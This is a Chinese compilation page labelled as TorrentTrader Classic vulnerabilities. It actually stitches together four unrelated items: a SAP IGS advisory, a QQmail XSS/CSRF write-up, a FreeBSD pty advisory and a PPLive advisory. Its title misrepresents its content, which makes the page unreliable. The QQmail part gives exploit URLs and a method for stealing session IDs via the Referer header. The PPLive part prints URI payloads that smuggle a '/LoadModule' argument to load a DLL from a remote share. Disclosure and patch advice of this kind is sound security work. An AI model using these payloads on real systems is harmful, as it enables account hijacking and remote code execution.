TorrentTrader Classic多个远程安全漏洞

TorrentTrader Classic多个远程安全漏洞（共4篇）

1.TorrentTrader Classic多个远程安全漏洞 篇一

受影响系统：SAP Internet Graphics Server 7.00 Patchlevel <= 6

SAP Internet Graphics Server 6.40 Patchlevel <= 16不受影响系统：SAP Internet Graphics Server 7.00 Patchlevel 7

SAP Internet Graphics Server 6.40 Patchlevel 17描述：

BUGTRAQID: 21449,21448

Internet Graphics Server(IGS)是SAP R/3企业环境的一个组件，可提供图形服务，

IGS实现上存在多个安全漏洞，远程攻击者可能利用这些漏洞获取敏感信息或执行非授权的恶意操作。

远程攻击者可以通过向SAP IGS提交特制的HTTP请求删除系统中的任意文件，

此外，远程攻击者还可以利用SAP IGS中的一些功能关闭服务器、访问配置文件或执行某些其他非授权操作。

<*来源：Mariano Nuñez Di Croce (mnunez@cybsec.com)

链接：secunia.com/advisories/23262/

www.cybsec.com/vuln/CYBSEC-Security_Pre-Advisory_SAP_IGS_Undocumented_Features.pdf

www.cybsec.com/vuln/CYBSEC-Security_Pre-Advisory_SAP_IGS_Remote_Arbitrary_File_Removal.pdf

*>

建议：

厂商补丁：

SAP

---

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

www.sap.com/

2.TorrentTrader Classic多个远程安全漏洞 篇二

Sunday, April 24,

一、邪恶的filterflag

关于filterflag的问题最早报告在4月的《QQmail Multiple Xss Vulnerabilities》一文里,但是直到今天该问题没有彻底得到解决，多个功能都可以触发，最直接的功能就是“打印”功能：

m353.mail.qq.com/cgi-bin/readmail?sid=[xxx]&t=readmail_print&s=print&filterflag=true&mailid=[xxx]

默认直接引入filterflag=true，当被攻击者使用此功能时，就可能直接被xss攻击。我们在看看“读邮件”功能,通过上次报告的腾讯“修补”的方式其实只是同过引入一个iframe打开，通过分析访问的url可以得到真正的读邮件功能的url：

m353.mail.qq.com/cgi-bin/readmail?folderid=1&t=readmail&mailid=[xxx]&mode=pre&maxage=3600&base=12&ver=1&sid=[xxx]&newwin=true&nocheckframe=true

我们附加filterflag=true后成功触发xss。 对于实际利用来说，mailid和sid都是随着登录而变化的，那么我们怎么得到它们呢？ 通过上面的url可以看出mailid和sid都是get提交的变量，那么当我们引入第三方内容的时候通过取HTTP_REFERER可以得到当前邮件的url，当然包括了mailid和sid了！：）

poc设计如下：

邮件1的代码：

第三方内容[mail.php]:

提取HTTP_REFERER[即邮件1的url]后，注入filterflag=true后发送 邮件2

邮件2的代码：

test

攻击者访问邮件2后点击test的link，访问设置了filterflag=true的邮件1，导致我们执行。

这个利用过程我称其为《回旋镖》

补丁建议：

A、这个开关的设计无非所怕过滤系统影响业务,不知道官方同学有没有跳查过真正对业务有多大的影响,必要是取消这个开关。[这又是一个安全于业务的话题！！]

B、如果这个开关必不可少的话，建议所用cookie/session等提交。

C、在需要filterflag=true的时候使用验证码，并提示用户保证邮件内容安全。

D、禁止在get方式提交敏感数据[sid/mailid]

二、悲剧的json

最早报告json导致的xss问题可以追溯到去年的2月我写过一篇blog《不要忘记数据本身的解析》当时的demo就是用的qun.qq.com上多个json导致的xss。后来我在今年的mhtml和utf7 bom导致的json里的xss问题。

现在我们在看看最开始提到的demo里的xss，到本文为止xss依旧！！！！

补丁建议：

引用blog《about utf7-BOM string injection》

--------------------------------

那么解决这个问题的方案有2点：

1. 严格控制数据文件，返回的Content-Type。

2. 数据存储时，使用编码。

当时甲方的朋友们看到json里直接插入html标签进行xss后，都基本所用了“2. 数据存储时，使用编码”了，而且没有去限制“Content-Type”，基本很在继续的“text/html”,这个也为这次的utf7-BOM string injection埋下了罪恶种子，如果这次再不修改Content-Type，我想有可能种子还有机会发芽开花!! :) 我想如果上面的2点方案同时用上，应该是一个不错的选择。

-------------------------------

三、没完没了的

就qqmail来说对于embed标签出现的安全问题从来就没有消停过，最早的qqmail大概所前可以直接通过：

来xss的。到里20《QQmail Multiple Xss Vulnerabilities》里需要使用相对路径了：

当时可以通过上传文件来调用...后来不知道什么时候限制了几个安全属性,设置了allownetworking=“internal” allowscriptaccess=“never”

不过在今年4月根据Gareth Heyes发现的webkit下的code属性可以调用flash：

再一次成功xss，很块这个也被fixed了，不过在与此同时我发现了qqmail的另外一个缺陷[我同样也通知了官方的朋友，但是到本文为止未修补]：在处理embed标签时没有指定type属性，那么我们在webkit下可嵌入html代码[相当于iframe]，

对于利用先不说挂webkit的0day，貌似这个不可以直接在qqmail域执行js。:(

我们跳到文章前面第一节里的“回旋镖”，当时邮件2利用的这个需要点击，如果我们直接利用embed嵌入呢？ ：）

补丁建议：

严格按照安全所用embed的安全规范走，规定type属性。

四、附件之疼

qqmail对于html附件一直防御比较严格的，就我发现的前后报告了2次的utf7的xss，第一次不记得是什么时候里当时用指定utf7时 打开html附件可以直接搞，第二次是今年utf7-bom的html附件。当然报告后都很及时的补丁了...

然而就在前几天又发现一个问题。qqmail在处理html附件时直接有显示“打开”功能，这个打开的网页肯定是做了安全过滤的，但是对于非html后缀的文件呢？

进过测试发现html附件“打开”的url为：

m480.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=pp.txt.htm&sid=[xxx]&action=view&func=inline

对应的附件“下载”url为：

m480.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=pp.txt.htm&sid=[xxx]

很显然url附加&action=view&func=inline就可以了....

于是我们添加附件名为非html后缀的文件：

m396.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=mime.rar&sid=[xxx]

用ie访问m396.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=mime.rar&sid=[xxx]&action=view&func=inline 成功xss。

实际利用一样要得到mailid和sid，如法炮制《回旋镖》：）

补丁建议：

对于附件问题来说在《QQmail Multiple Xss Vulnerabilities》问及《我在qqmail上放了*个后门》文里提到的保证”代码与数据分离是安全设计的重要原则“ 也就是附件与mail的域完全分离...

五、微博的csrf

在去年的时候报告了2个 的csrf漏洞。微博防御csrf的方式之是判断了HTTP_REFERER，那么我们只要绕过对HTTP_REFERER的判断或者通过as/js等可以自定义HTTP_REFERER的方法就可以进行csrf攻击了.

首先说一下已经补丁了的非常经典的漏洞：

设置子域名t.qq.com.80vul.com 直接写个提交的html，就可以成功csrf了。这个漏洞在报告后其实也没有马上fix的，多次建议他们才修补！！ 这个属于对referer处理的正则逻辑漏洞。

另外一个是PZ牛发现的一个firefox+flash可以伪造HTTP_REFERER的漏洞：

不过这个漏洞不在适用于firefox4.0，对于这样的浏览器的问题貌似应用方很无辜？根据我以前的blog文《web app安全的独立性》你还这样认为吗？另外今年的mhtml和utf7 bom导致的安全问题一样的道理。

补丁建议：

1、对于csrf的攻防在目前来是比较成熟的。建议增加token等机制。

2、重视《web app安全的独立性》

六、crossdomain.xml

早在n年前我就报告了qun.qq.com/crossdomain.xml的设置问题，直到前不久才设置为：

之前都是悲剧的，至于这样的后果这里就不谈了，我们在随便看看其他的子域名：

yc.qq.com/crossdomain.xml

ent.qq.com/crossdomain.xml

...

都还是domain=“*”

至于其他的基本都是domain=“*.qq.com” domain=“*.soso.com”等，这样对于腾讯这样的庞大的子域名系统，找一个可以上传文件的子域名就可能突破。

补丁建议：

a、审计业务的需求，应该把握crossdomain.xml的设置，如没有必要这个xml都可以删除。

b、保证”代码与数据分离是安全设计的重要原则“[可以上传文件等的独立域名体系]

七、其他

比如国内各大公司还没有重视的json-hijecking、Clickjacking、FPI、子域名外包网站等问题。

小结

上面一些漏洞都是报告过但是没有得到完美处理的问题。这和这些漏洞本身的特点有关系，大多属于框架整体、业务功能本事的特点以及标准化的安全规范上的问题，所以只有从这些方面去着手才有可能从根本上解决问题。上面提到的那些漏洞就包括以下的一些原则或规范：

1、 《代码与数据分离是安全设计的重要原则》by 刺

2、 《web app安全的独立性》

3、 《不要忘记数据本身的解析》

4、 《Flash应用安全规范》 by jianxin

5、 确保好敏感数据的安全

从上面一些问题可以看出来腾讯很多漏洞都是从诞生来就埋下的隐患，而且在实际的安全推动过程缺少对应的规范原则，或者缺少执行力……

3.TorrentTrader Classic多个远程安全漏洞 篇三

受影响系统：

FreeBSD FreeBSD 7.0

FreeBSD FreeBSD 6.3

FreeBSD FreeBSD 6.2

FreeBSD FreeBSD 6.1

FreeBSD FreeBSD 5.5

FreeBSD FreeBSD 5.0描述：

FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统，

FreeBSD在处理pty的权限时存在漏洞，本地攻击者可能利用此漏洞提升自己的权限。FreeBSD的openpty()函数在为打开的伪终端设置权限时存在错误，恶意的本地用户可以通过执行内部调用了openpty()的程序从非 root用户所打开的pty读取文本；此外ptsname(3)函数错误的从/dev中的设备节点名获得了两个字符，但没有核实是否在操作调用用户所拥有的有效pty。pt_chown使用了ptsname(3)的错误结果将pty的所有权更改到调用pt_chown的用户，这样本地用户就可以获得正常情况下应受限的所有权。厂商补丁：

FreeBSD已经为此发布了一个安全公告（FreeBSD-SA-08:01）以及相应补丁:

FreeBSD-SA-08:01：pty snooping

4.TorrentTrader Classic多个远程安全漏洞 篇四

聚力传媒 PPLive <= 1.9.21

漏洞描述:

BUGTRAQID: 34128PPLive是非常流行的P2P网络视频客户端，PPLive的synacast://、Play://、pplsv://和ppvod:// URI处理器在评估命令行参数时没有正确地验证URI参数，如果用户受骗跟随的链接中包含有特制的/LoadModule参数的话，就可能导致Internet Explorer加载远程VNC路径所指定的dll。厂商补丁：

聚力传媒

--------

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

www.pplive.com/

测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

synacast://www.example.com/?“%20/LoadModule%20example.comunc_sharesh.dll%20”Play://www.example.com/?“%20/LoadModule%20example.comunc_sharesh.dll%20”pplsv://www.example.com/?“%20/LoadModule%20example.comunc_sharesh.dll%20”ppvod://www.example.com/?“%20/LoadModule%20example.comunc_sharesh.dll%20”